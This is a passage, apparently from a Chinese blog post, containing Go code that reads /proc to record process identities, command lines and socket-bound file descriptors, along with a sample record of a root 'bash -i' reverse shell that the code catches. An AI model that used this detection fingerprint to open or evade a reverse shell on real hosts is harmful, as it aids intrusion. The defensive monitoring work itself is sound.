pid, err := strconv.Atoi(v)
if err != nil {
continue
}
statusInfo := getStatus(pid)
ppid,_ := strconv.Atoi(statusInfo["PPid"])
pstatusInfo := getStatus(ppid)
command := getcmdline(pid)
fd := getfd(pid)
m := make(map[string]string)
m["pid"] = v
m["ppid"] = statusInfo["PPid"]
m["name"] = statusInfo["Name"]
if len(strings.Fields(statusInfo["Uid"])) == 4 {
m["uid"] = strings.Fields(statusInfo["Uid"])[0]
m["euid"] = strings.Fields(statusInfo["Uid"])[1]
m["suid"] = strings.Fields(statusInfo["Uid"])[2]
m["fsuid"] =strings.Fields(statusInfo["Uid"])[3]
}
if len(strings.Fields(statusInfo["Gid"])) ==4 {
m["gid"] = strings.Fields(statusInfo["Gid"])[0]
m["egid"] = strings.Fields(statusInfo["Gid"])[1]
m["sgid"] = strings.Fields(statusInfo["Gid"])[2]
m["fsgid"] =strings.Fields(statusInfo["Gid"])[3]
}
if len(strings.Fields(pstatusInfo["Uid"])) ==4 {
m["puid"] = strings.Fields(pstatusInfo["Uid"])[0]
m["peuid"] = strings.Fields(pstatusInfo["Uid"])[1]
m["psuid"] = strings.Fields(pstatusInfo["Uid"])[2]
m["pfsuid"] =strings.Fields(pstatusInfo["Uid"])[3]
}
if len(strings.Fields(pstatusInfo["Gid"])) ==4 {
m["pgid"] = strings.Fields(pstatusInfo["Gid"])[0]
m["pegid"] = strings.Fields(pstatusInfo["Gid"])[1]
m["psgid"] = strings.Fields(pstatusInfo["Gid"])[2]
m["pfsgid"] =strings.Fields(pstatusInfo["Gid"])[3]
}
m["fd"] = fd
m["command"] = command
resultData = append(resultData, m)
}
return
}
func getcmdline(pid int) string {
cmdlineFile := fmt.Sprintf("/proc/%d/cmdline", pid)
cmdlineBytes, e := ioutil.ReadFile(cmdlineFile)
if e != nil {
return ""
}
cmdlineBytesLen := len(cmdlineBytes)
if cmdlineBytesLen == 0 {
return ""
}
for i, v := range cmdlineBytes {
if v == 0 {
cmdlineBytes[i] = 0x20
}
}
return strings.TrimSpace(string(cmdlineBytes))
}
func getStatus(pid int) (status map[string]string) {
status = make(map[string]string)
statusFile := fmt.Sprintf("/proc/%d/status", pid)
var content []byte
var err error
content, err = ioutil.ReadFile(statusFile)
if err != nil {
return
}
for _, line := range strings.Split(string(content), "\n") {
if strings.Contains(line, ":") {
kv := strings.SplitN(line, ":", 2)
status[kv[0]] = strings.TrimSpace(kv[1])
}
}
//fmt.Println(status)
return
}
func dirsUnder(dirPath string) ([]string, error) {
fs, err := ioutil.ReadDir(dirPath)
if err != nil {
return []string{}, err
}
sz := len(fs)
if sz == 0 {
return []string{}, nil
}
ret := make([]string, 0, sz)
for i := 0; i < sz; i++ {
if fs[i].IsDir() {
name := fs[i].Name()
if name != "." && name != ".." {
ret = append(ret, name)
}
}
}
return ret, nil
}
func getfd(pid int) string {
fdDir := fmt.Sprintf("/proc/%d/fd", pid)
dirs, err := dirsFile(fdDir)
if err != nil || len(dirs) == 0 {
return ""
}
m := []string{}
for _, v := range dirs {
fileInfo, err := os.Readlink(v)
if err != nil {
continue
}
countSplit := strings.Split(v, "/")
m=append(m,strings.Join(countSplit[3:], "/")+"---"+fileInfo)
}
return strings.Join(m, " ")
}
func dirsFile(dirPath string) ([]string, error) {
fs, err := ioutil.ReadDir(dirPath)
if err != nil {
return []string{}, err
}
sz := len(fs)
if sz == 0 {
return []string{}, nil
}
ret := make([]string, 0, sz)
for i := 0; i < sz; i++ {
if !fs[i].IsDir() {
name := dirPath + "/" + fs[i].Name()
ret = append(ret, name)
}
}
return ret, nil
}
抓取的数据如下
{
"command":"bash -i",
"egid":"0",
"euid":"0",
"fd":"fd/0---socket:[27215273] fd/1---socket:[27215273] fd/2---socket:[27215273] fd/255---/dev/tty",
"fsgid":"0",
"fsuid":"0",
"gid":"0",
"name":"bash",
"pegid":"0",
"peuid":"0",
"pfsgid":"0",
"pfsuid":"0",
"pgid":"0",
"pid":"23923",
"ppid":"23592",
"psgid":"0",
"psuid":"0",
"puid":"0",
"sgid":"0",
"suid":"0",
"uid":"0"
}
对应上面的规则,在server 端做流式分析,很多东西一目了然,不过, 百密总有一疏,绕过的方法大家自主了解,技术在对抗中升华。